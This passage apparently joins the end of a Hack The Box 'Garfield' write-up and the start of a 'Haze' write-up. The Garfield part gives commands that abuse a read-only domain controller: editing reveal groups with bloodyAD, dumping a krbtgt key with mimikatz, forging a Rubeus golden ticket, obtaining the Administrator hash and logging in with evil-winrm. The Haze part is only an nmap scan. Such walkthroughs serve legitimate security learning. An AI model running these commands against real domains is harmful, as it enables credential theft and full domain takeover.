With administrative control over the RODC computer object in the Active Directory, there is a path to fully compromise the domain. It is possible to modify the RODC’s msDS-NeverRevealGroup and msDS-RevealOnDemandGroup attributes to allow a Domain Admin to authenticate and dump his credentials via administrative access over the RODC host.

bloodyAD --host "10.129.244.207" -d "garfield.htb" -u "l.wilson_adm" -p "Hacker@123" get object 'RODC01$' --attr msDS-RevealOnDemandGroup

now let’s add the administrator to msDs-RevealOnDemandGroup

bloodyAD --host "10.129.244.207" -d "garfield.htb" -u "l.wilson_adm" -p "Hacker@123" set object 'RODC01$' msDS-RevealOnDemandGroup -v 'CN=Allowed RODC Password Replication Group,CN=Users,DC=garfield,DC=htb' -v 'CN=Administrator,CN=Users,DC=garfield,DC=htb'

now let’s check if Administrator user is added into the group

bloodyAD --host "10.129.244.207" -d "garfield.htb" -u "l.wilson_adm" -p "Hacker@123" get object 'RODC01$' --attr msDS-RevealOnDemandGroup

however after many attempts it was not working so i’ve asked gemini and it gives useful command

repadmin /rodcpwdrepl RODC01.garfield.htb DC01.garfield.htb CN=krbtgt_8245,CN=Users,DC=garfield,DC=htb

still not able to dump the Hash, after some more research i found

mimikatz.exe "privilege::debug" "lsadump::lsa /inject /name:krbtgt_8245" "exit"

now let’s use the commands from the - https://specterops.io/blog/2023/01/25/at-the-edge-of-tier-zero-the-curious-case-of-the-rodc/

first we need to transfer the Rubeus to target machine, to make it easy i’ll use the wmiexec

impacket-wmiexec -k -no-pass GARFIELD.HTB/administrator@RODC01.garfield.htb

and then use the lput command

lput /home/kali/tools/Rubeus.exe .

now we can craft our command, we can get the domain SID from the bloodhound ;)

Rubeus.exe golden /rodcNumber:8245 /aes256:d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240 /user:Administrator /domain:garfield.htb /sid:S-1-5-21-2502726253-3859040611-225969357 /outfile:\temp\ticket.kirbi

now we can use this Administrator ticket to get the NTLM hash of the Administrator

here i was struggling to get Administrator Hash

then i get help from 1 guy from discord he says it is related to Rubeus version

Rubeus.exe asktgs /enctype:aes256 /keyList /service:krbtgt/garfield.htb /dc:dc01.garfield.htb /ticket:\temp\ticket_2026_04_19_19_30_08_Administrator_to_krbtgt@GARFIELD.HTB.kirbi

let’s check this hash against the DC01

nxc smb DC01 -u  Administrator -H EE238F6DEBC752010428F20875B092D5

let’s use the evil-winrm to login to DC01 as Administrator

evil-winrm-py -i DC01 -u  Administrator -H EE238F6DEBC752010428F20875B092D5

Haze

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machhine Name: Haze
OS Type: Windows
Difficulty: Hard

Port Scanning - Service & Version Enumeration

# Nmap 7.95 scan initiated Tue Jun 24 19:26:21 2025 as: /usr/lib/nmap/nmap -sVC --open -p- -oN initial/nmap.out -vv 10.10.11.61
Nmap scan report for 10.10.11.61
Host is up, received echo-reply ttl 127 (0.22s latency).
Scanned at 2025-06-24 19:26:28 IST for 162s
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-06-24 21:57:49Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Issuer: commonName=haze-DC01-CA/domainComponent=haze
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-03-05T07:12:20
| Not valid after:  2026-03-05T07:12:20
| MD5:   db18:a1f5:986c:1470:b848:35ec:d437:1ca0
| SHA-1: 6cdd:5696:f250:6feb:1a27:abdf:d470:5143:3ab8:5d1f
| -----BEGIN CERTIFICATE-----
| MIIFxzCCBK+gAwIBAgITaQAAAAKwulKDkCsWNAAAAAAAAjANBgkqhkiG9w0BAQsF
| ADBCMRMwEQYKCZImiZPyLGQBGRYDaHRiMRQwEgYKCZImiZPyLGQBGRYEaGF6ZTEV
| MBMGA1UEAxMMaGF6ZS1EQzAxLUNBMB4XDTI1MDMwNTA3MTIyMFoXDTI2MDMwNTA3
| MTIyMFowGDEWMBQGA1UEAxMNZGMwMS5oYXplLmh0YjCCASIwDQYJKoZIhvcNAQEB
| BQADggEPADCCAQoCggEBAMVEY8/MHbIODtBJbIisSbPresil0O6vCchYn7gAIg90
| kJVVmM/KnsY8tnT6jMRGWQ/cJPpXQ/3jFFK1l40iDHxa5zfWLz+RS/ZRwkQH9/UK
| biVcpiAkxgDsvBpqVk5AQiSPo3cOkiFAAS31jjfUJk6YP9Cb5q1dJTlo39TlTnyZ
| h794W7ykOJTKLLflQ1gY5xtbrc3XltNGnKTh28fjX7GtDfqtAq3tT5jU7pt9kKfu
| 0PdFjwM0IHjvxfMvQQD3kZnwIxMFCPNgS5T1xO86UnrWw0kVvWp1gOMA7lU5YZr7
| u81y2pV734gwCnZzWOe0xZrvUzFgIHtGmfj505znnf0CAwEAAaOCAt4wggLaMC8G
| CSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABsAGUAcjAd
| BgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/BAQDAgWgMHgG
| CSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3DQMEAgIAgDAL
| BglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjALBglghkgBZQME
| AQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFCjRdOU7YKvR8L/epppe
| wGlE7zYrMB8GA1UdIwQYMBaAFBfPKa3j+shDCWYQcAiLgjtywmU+MIHEBgNVHR8E
| gbwwgbkwgbaggbOggbCGga1sZGFwOi8vL0NOPWhhemUtREMwMS1DQSxDTj1kYzAx
| LENOPUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxD
| Tj1Db25maWd1cmF0aW9uLERDPWhhemUsREM9aHRiP2NlcnRpZmljYXRlUmV2b2Nh
| dGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1jUkxEaXN0cmlidXRpb25Qb2ludDCB
| uwYIKwYBBQUHAQEEga4wgaswgagGCCsGAQUFBzAChoGbbGRhcDovLy9DTj1oYXpl
| LURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNl
| cnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9aGF6ZSxEQz1odGI/Y0FDZXJ0aWZp
| Y2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmljYXRpb25BdXRob3JpdHkwOQYD
| VR0RBDIwMKAfBgkrBgEEAYI3GQGgEgQQ3PAm6jow6ke+SMbceyLBfYINZGMwMS5o
| YXplLmh0YjANBgkqhkiG9w0BAQsFAAOCAQEAO7h/k9EY8RlqV48OvhS9nUZtGI7e
| 9Dqja1DpS+H33Z6CYb537w7eOkIWZXNP45VxPpXai8IzPubc6rVHKMBq4DNuN+Nu
| BjOvbQ1J4l4LvfB1Pj/W2nv6VGb/6/iDb4ul6UdHK3/JMIKM3UIbpWVgmNIx70ae
| /0JJP2aG3z2jhO5co4ncUQ/xpe3WlWGTl9qcJ+FkZZAPkZU6+fgz/McKxO9I7EHv
| Y7G19nhuwF6Rh+w2XYrJs2/iFU6pRgQPg3yon5yUzcHNX8GwyEikv0NGBkmMKwAI
| kE3gssbluZx+QYPdAE4pV1k5tbg/kLvBePIXVKspHDd+4Wg0w+/6ivkuhQ==
|_-----END CERTIFICATE-----
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Issuer: commonName=haze-DC01-CA/domainComponent=haze
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-03-05T07:12:20
| Not valid after:  2026-03-05T07:12:20
| MD5:   db18:a1f5:986c:1470:b848:35ec:d437:1ca0
| SHA-1: 6cdd:5696:f250:6feb:1a27:abdf:d470:5143:3ab8:5d1f
| -----BEGIN CERTIFICATE-----
| MIIFxzCCBK+gAwIBAgITaQAAAAKwulKDkCsWNAAAAAAAAjANBgkqhkiG9w0BAQsF
| ADBCMRMwEQYKCZImiZPyLGQBGRYDaHRiMRQwEgYKCZImiZPyLGQBGRYEaGF6ZTEV
| MBMGA1UEAxMMaGF6ZS1EQzAxLUNBMB4XDTI1MDMwNTA3MTIyMFoXDTI2MDMwNTA3
| MTIyMFowGDEWMBQGA1UEAxMNZGMwMS5oYXplLmh0YjCCASIwDQYJKoZIhvcNAQEB
| BQADggEPADCCAQoCggEBAMVEY8/MHbIODtBJbIisSbPresil0O6vCchYn7gAIg90
| kJVVmM/KnsY8tnT6jMRGWQ/cJPpXQ/3jFFK1l40iDHxa5zfWLz+RS/ZRwkQH9/UK
| biVcpiAkxgDsvBpqVk5AQiSPo3cOkiFAAS31jjfUJk6YP9Cb5q1dJTlo39TlTnyZ
| h794W7ykOJTKLLflQ1gY5xtbrc3XltNGnKTh28fjX7GtDfqtAq3tT5jU7pt9kKfu
| 0PdFjwM0IHjvxfMvQQD3kZnwIxMFCPNgS5T1xO86UnrWw0kVvWp1gOMA7lU5YZr7
| u81y2pV734gwCnZzWOe0xZrvUzFgIHtGmfj505znnf0CAwEAAaOCAt4wggLaMC8G
| CSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABsAGUAcjAd
| BgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/BAQDAgWgMHgG
| CSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3DQMEAgIAgDAL
| BglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjALBglghkgBZQME
| AQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFCjRdOU7YKvR8L/epppe
| wGlE7zYrMB8GA1UdIwQYMBaAFBfPKa3j+shDCWYQcAiLgjtywmU+MIHEBgNVHR8E
| gbwwgbkwgbaggbOggbCGga1sZGFwOi8vL0NOPWhhemUtREMwMS1DQSxDTj1kYzAx
| LENOPUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxD
| Tj1Db25maWd1cmF0aW9uLERDPWhhemUsREM9aHRiP2NlcnRpZmljYXRlUmV2b2Nh
| dGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1jUkxEaXN0cmlidXRpb25Qb2ludDCB
| uwYIKwYBBQUHAQEEga4wgaswgagGCCsGAQUFBzAChoGbbGRhcDovLy9DTj1oYXpl
| LURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNl
| cnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9aGF6ZSxEQz1odGI/Y0FDZXJ0aWZp
| Y2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmljYXRpb25BdXRob3JpdHkwOQYD
| VR0RBDIwMKAfBgkrBgEEAYI3GQGgEgQQ3PAm6jow6ke+SMbceyLBfYINZGMwMS5o
| YXplLmh0YjANBgkqhkiG9w0BAQsFAAOCAQEAO7h/k9EY8RlqV48OvhS9nUZtGI7e
| 9Dqja1DpS+H33Z6CYb537w7eOkIWZXNP45VxPpXai8IzPubc6rVHKMBq4DNuN+Nu
| BjOvbQ1J4l4LvfB1Pj/W2nv6VGb/6/iDb4ul6UdHK3/JMIKM3UIbpWVgmNIx70ae
| /0JJP2aG3z2jhO5co4ncUQ/xpe3WlWGTl9qcJ+FkZZAPkZU6+fgz/McKxO9I7EHv
| Y7G19nhuwF6Rh+w2XYrJs2/iFU6pRgQPg3yon5yUzcHNX8GwyEikv0NGBkmMKwAI
| kE3gssbluZx+QYPdAE4pV1k5tbg/kLvBePIXVKspHDd+4Wg0w+/6ivkuhQ==
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Issuer: commonName=haze-DC01-CA/domainComponent=haze
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-03-05T07:12:20
| Not valid after:  2026-03-05T07:12:20
| MD5:   db18:a1f5:986c:1470:b848:35ec:d437:1ca0
| SHA-1: 6cdd:5696:f250:6feb:1a27:abdf:d470:5143:3ab8:5d1f
| -----BEGIN CERTIFICATE-----
| MIIFxzCCBK+gAwIBAgITaQAAAAKwulKDkCsWNAAAAAAAAjANBgkqhkiG9w0BAQsF
| ADBCMRMwEQYKCZImiZPyLGQBGRYDaHRiMRQwEgYKCZImiZPyLGQBGRYEaGF6ZTEV
| MBMGA1UEAxMMaGF6ZS1EQzAxLUNBMB4XDTI1MDMwNTA3MTIyMFoXDTI2MDMwNTA3
| MTIyMFowGDEWMBQGA1UEAxMNZGMwMS5oYXplLmh0YjCCASIwDQYJKoZIhvcNAQEB
| BQADggEPADCCAQoCggEBAMVEY8/MHbIODtBJbIisSbPresil0O6vCchYn7gAIg90
| kJVVmM/KnsY8tnT6jMRGWQ/cJPpXQ/3jFFK1l40iDHxa5zfWLz+RS/ZRwkQH9/UK
| biVcpiAkxgDsvBpqVk5AQiSPo3cOkiFAAS31jjfUJk6YP9Cb5q1dJTlo39TlTnyZ
| h794W7ykOJTKLLflQ1gY5xtbrc3XltNGnKTh28fjX7GtDfqtAq3tT5jU7pt9kKfu
| 0PdFjwM0IHjvxfMvQQD3kZnwIxMFCPNgS5T1xO86UnrWw0kVvWp1gOMA7lU5YZr7
| u81y2pV734gwCnZzWOe0xZrvUzFgIHtGmfj505znnf0CAwEAAaOCAt4wggLaMC8G
| CSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABsAGUAcjAd
| BgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/BAQDAgWgMHgG
| CSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3DQMEAgIAgDAL
| BglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjALBglghkgBZQME
| AQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFCjRdOU7YKvR8L/epppe
| wGlE7zYrMB8GA1UdIwQYMBaAFBfPKa3j+shDCWYQcAiLgjtywmU+MIHEBgNVHR8E
| gbwwgbkwgbaggbOggbCGga1sZGFwOi8vL0NOPWhhemUtREMwMS1DQSxDTj1kYzAx
| LENOPUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxD
| Tj1Db25maWd1cmF0aW9uLERDPWhhemUsREM9aHRiP2NlcnRpZmljYXRlUmV2b2Nh
| dGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1jUkxEaXN0cmlidXRpb25Qb2ludDCB
| uwYIKwYBBQUHAQEEga4wgaswgagGCCsGAQUFBzAChoGbbGRhcDovLy9DTj1oYXpl
| LURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNl
| cnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9aGF6ZSxEQz1odGI/Y0FDZXJ0aWZp
| Y2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmljYXRpb25BdXRob3JpdHkwOQYD
| VR0RBDIwMKAfBgkrBgEEAYI3GQGgEgQQ3PAm6jow6ke+SMbceyLBfYINZGMwMS5o
| YXplLmh0YjANBgkqhkiG9w0BAQsFAAOCAQEAO7h/k9EY8RlqV48OvhS9nUZtGI7e
| 9Dqja1DpS+H33Z6CYb537w7eOkIWZXNP45VxPpXai8IzPubc6rVHKMBq4DNuN+Nu
| BjOvbQ1J4l4LvfB1Pj/W2nv6VGb/6/iDb4ul6UdHK3/JMIKM3UIbpWVgmNIx70ae
| /0JJP2aG3z2jhO5co4ncUQ/xpe3WlWGTl9qcJ+FkZZAPkZU6+fgz/McKxO9I7EHv
| Y7G19nhuwF6Rh+w2XYrJs2/iFU6pRgQPg3yon5yUzcHNX8GwyEikv0NGBkmMKwAI
| kE3gssbluZx+QYPdAE4pV1k5tbg/kLvBePIXVKspHDd+4Wg0w+/6ivkuhQ==
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
3269/tcp  open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Issuer: commonName=haze-DC01-CA/domainComponent=haze
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-03-05T07:12:20
| Not valid after:  2026-03-05T07:12:20
| MD5:   db18:a1f5:986c:1470:b848:35ec:d437:1ca0
| SHA-1: 6cdd:5696:f250:6feb:1a27:abdf:d470:5143:3ab8:5d1f
| -----BEGIN CERTIFICATE-----
| MIIFxzCCBK+gAwIBAgITaQAAAAKwulKDkCsWNAAAAAAAAjANBgkqhkiG9w0BAQsF
| ADBCMRMwEQYKCZImiZPyLGQBGRYDaHRiMRQwEgYKCZImiZPyLGQBGRYEaGF6ZTEV
| MBMGA1UEAxMMaGF6ZS1EQzAxLUNBMB4XDTI1MDMwNTA3MTIyMFoXDTI2MDMwNTA3
| MTIyMFowGDEWMBQGA1UEAxMNZGMwMS5oYXplLmh0YjCCASIwDQYJKoZIhvcNAQEB
| BQADggEPADCCAQoCggEBAMVEY8/MHbIODtBJbIisSbPresil0O6vCchYn7gAIg90
| kJVVmM/KnsY8tnT6jMRGWQ/cJPpXQ/3jFFK1l40iDHxa5zfWLz+RS/ZRwkQH9/UK
| biVcpiAkxgDsvBpqVk5AQiSPo3cOkiFAAS31jjfUJk6YP9Cb5q1dJTlo39TlTnyZ
| h794W7ykOJTKLLflQ1gY5xtbrc3XltNGnKTh28fjX7GtDfqtAq3tT5jU7pt9kKfu
| 0PdFjwM0IHjvxfMvQQD3kZnwIxMFCPNgS5T1xO86UnrWw0kVvWp1gOMA7lU5YZr7
| u81y2pV734gwCnZzWOe0xZrvUzFgIHtGmfj505znnf0CAwEAAaOCAt4wggLaMC8G
| CSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABsAGUAcjAd
| BgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/BAQDAgWgMHgG
| CSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3DQMEAgIAgDAL
| BglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjALBglghkgBZQME
| AQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFCjRdOU7YKvR8L/epppe
| wGlE7zYrMB8GA1UdIwQYMBaAFBfPKa3j+shDCWYQcAiLgjtywmU+MIHEBgNVHR8E
| gbwwgbkwgbaggbOggbCGga1sZGFwOi8vL0NOPWhhemUtREMwMS1DQSxDTj1kYzAx
| LENOPUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxD
| Tj1Db25maWd1cmF0aW9uLERDPWhhemUsREM9aHRiP2NlcnRpZmljYXRlUmV2b2Nh
| dGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1jUkxEaXN0cmlidXRpb25Qb2ludDCB
| uwYIKwYBBQUHAQEEga4wgaswgagGCCsGAQUFBzAChoGbbGRhcDovLy9DTj1oYXpl
| LURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNl
| cnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9aGF6ZSxEQz1odGI/Y0FDZXJ0aWZp
| Y2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmljYXRpb25BdXRob3JpdHkwOQYD
| VR0RBDIwMKAfBgkrBgEEAYI3GQGgEgQQ3PAm6jow6ke+SMbceyLBfYINZGMwMS5o
| YXplLmh0YjANBgkqhkiG9w0BAQsFAAOCAQEAO7h/k9EY8RlqV48OvhS9nUZtGI7e
| 9Dqja1DpS+H33Z6CYb537w7eOkIWZXNP45VxPpXai8IzPubc6rVHKMBq4DNuN+Nu
| BjOvbQ1J4l4LvfB1Pj/W2nv6VGb/6/iDb4ul6UdHK3/JMIKM3UIbpWVgmNIx70ae
| /0JJP2aG3z2jhO5co4ncUQ/xpe3WlWGTl9qcJ+FkZZAPkZU6+fgz/McKxO9I7EHv
| Y7G19nhuwF6Rh+w2XYrJs2/iFU6pRgQPg3yon5yUzcHNX8GwyEikv0NGBkmMKwAI
| kE3gssbluZx+QYPdAE4pV1k5tbg/kLvBePIXVKspHDd+4Wg0w+/6ivkuhQ==
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8000/tcp  open  http          syn-ack ttl 127 Splunkd httpd
|_http-server-header: Splunkd
|_http-favicon: Unknown favicon MD5: E60C968E8FF3CC2F4FB869588E83AFC6
| http-robots.txt: 1 disallowed entry 
|_/
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was http://10.10.11.61:8000/en-US/account/login?return_to=%2Fen-US%2F
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
8088/tcp  open  ssl/http      syn-ack ttl 127 Splunkd httpd
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Splunkd
| http-methods: 
|_  Supported Methods: GET POST HEAD OPTIONS
|_http-title: 404 Not Found
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Issuer: commonName=SplunkCommonCA/organizationName=Splunk/stateOrProvinceName=CA/countryName=US/localityName=San Francisco/emailAddress=support@splunk.com
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-03-05T07:29:08
| Not valid after:  2028-03-04T07:29:08
| MD5:   82e5:ba5a:c723:2f49:6f67:395b:5e64:ed9b
| SHA-1: e859:76a6:03da:feef:c1ab:9acf:ecc7:fd75:f1e5:1ab2
| -----BEGIN CERTIFICATE-----
| MIIDMjCCAhoCCQCtNoIdTvT1CjANBgkqhkiG9w0BAQsFADB/MQswCQYDVQQGEwJV
| UzELMAkGA1UECAwCQ0ExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xDzANBgNVBAoM
| BlNwbHVuazEXMBUGA1UEAwwOU3BsdW5rQ29tbW9uQ0ExITAfBgkqhkiG9w0BCQEW
| EnN1cHBvcnRAc3BsdW5rLmNvbTAeFw0yNTAzMDUwNzI5MDhaFw0yODAzMDQwNzI5
| MDhaMDcxIDAeBgNVBAMMF1NwbHVua1NlcnZlckRlZmF1bHRDZXJ0MRMwEQYDVQQK
| DApTcGx1bmtVc2VyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3SOu
| w9/K07cQT0p+ga9FjWCzI0Os/MVwpjOlPQ/o1uA/VSoNiweXobD3VBLngqfGQlAD
| VGRWkGdD3xS9mOknh9r4Dut6zDyUdKvgrZJVoX7EiRsHhXAr9HRgqWj7khQLz3n9
| fjxxdJkXtGZaNdonWENSeb93HfiYGjSWQJMfNdTd2lMGMDMC4JdydEyGEHRAMNnZ
| y/zCOSP97yJOSSBbr6IZxyZG934bbEH9d9r0g/I4roDlzZFFBlGi542s+1QJ79FR
| IUrfZh41PfxrElITkFyKCJyU5gfPKIvxwDHclE+zY/ju2lcHJMtgWNvF6s0S9ic5
| oxg0+Ry3qngtwd4yUQIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQCbT8LwPCoR7I41
| dS2ZjVjntxWHf/lv3MgumorerPBufJA4nw5Yq1gnAYruIkAkfGS7Dy09NL2+SwFy
| NKZa41K6OWst/sRP9smtpY3dfeNu5ofTP5oLEbW2fIEuG4fGvkQJ0SQOPOG71tfm
| ymVCjLlMYMU11GPjfb3CpVh5uLRhIw4btQ8Kz9aB6MiBomyiD/MqtQgA25thnijA
| gHYEzB3W6FKtWtjmPcqDugGs2WU6UID/fFZpsp+3h2QLGN5e+e1OTjoIbexbJ/S6
| iRjTy6GUjsrHtHM+KBjUFvUvHi27Ns47BkNzA1gedvRYrviscPCBkphjo9x0qDdj
| 3EhgaH2L
|_-----END CERTIFICATE-----
8089/tcp  open  ssl/http      syn-ack ttl 127 Splunkd httpd
|_http-server-header: Splunkd
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Issuer: commonName=SplunkCommonCA/organizationName=Splunk/stateOrProvinceName=CA/countryName=US/localityName=San Francisco/emailAddress=support@splunk.com
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-03-05T07:29:08
| Not valid after:  2028-03-04T07:29:08
| MD5:   82e5:ba5a:c723:2f49:6f67:395b:5e64:ed9b
| SHA-1: e859:76a6:03da:feef:c1ab:9acf:ecc7:fd75:f1e5:1ab2
| -----BEGIN CERTIFICATE-----
| MIIDMjCCAhoCCQCtNoIdTvT1CjANBgkqhkiG9w0BAQsFADB/MQswCQYDVQQGEwJV
| UzELMAkGA1UECAwCQ0ExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xDzANBgNVBAoM
| BlNwbHVuazEXMBUGA1UEAwwOU3BsdW5rQ29tbW9uQ0ExITAfBgkqhkiG9w0BCQEW
| EnN1cHBvcnRAc3BsdW5rLmNvbTAeFw0yNTAzMDUwNzI5MDhaFw0yODAzMDQwNzI5
| MDhaMDcxIDAeBgNVBAMMF1NwbHVua1NlcnZlckRlZmF1bHRDZXJ0MRMwEQYDVQQK
| DApTcGx1bmtVc2VyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3SOu
| w9/K07cQT0p+ga9FjWCzI0Os/MVwpjOlPQ/o1uA/VSoNiweXobD3VBLngqfGQlAD
| VGRWkGdD3xS9mOknh9r4Dut6zDyUdKvgrZJVoX7EiRsHhXAr9HRgqWj7khQLz3n9
| fjxxdJkXtGZaNdonWENSeb93HfiYGjSWQJMfNdTd2lMGMDMC4JdydEyGEHRAMNnZ
| y/zCOSP97yJOSSBbr6IZxyZG934bbEH9d9r0g/I4roDlzZFFBlGi542s+1QJ79FR
| IUrfZh41PfxrElITkFyKCJyU5gfPKIvxwDHclE+zY/ju2lcHJMtgWNvF6s0S9ic5
| oxg0+Ry3qngtwd4yUQIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQCbT8LwPCoR7I41
| dS2ZjVjntxWHf/lv3MgumorerPBufJA4nw5Yq1gnAYruIkAkfGS7Dy09NL2+SwFy
| NKZa41K6OWst/sRP9smtpY3dfeNu5ofTP5oLEbW2fIEuG4fGvkQJ0SQOPOG71tfm
| ymVCjLlMYMU11GPjfb3CpVh5uLRhIw4btQ8Kz9aB6MiBomyiD/MqtQgA25thnijA
| gHYEzB3W6FKtWtjmPcqDugGs2WU6UID/fFZpsp+3h2QLGN5e+e1OTjoIbexbJ/S6
| iRjTy6GUjsrHtHM+KBjUFvUvHi27Ns47BkNzA1gedvRYrviscPCBkphjo9x0qDdj
| 3EhgaH2L
|_-----END CERTIFICATE-----
|_http-title: splunkd
| http-robots.txt: 1 disallowed entry 
|_/
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
47001/tcp open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
58076/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
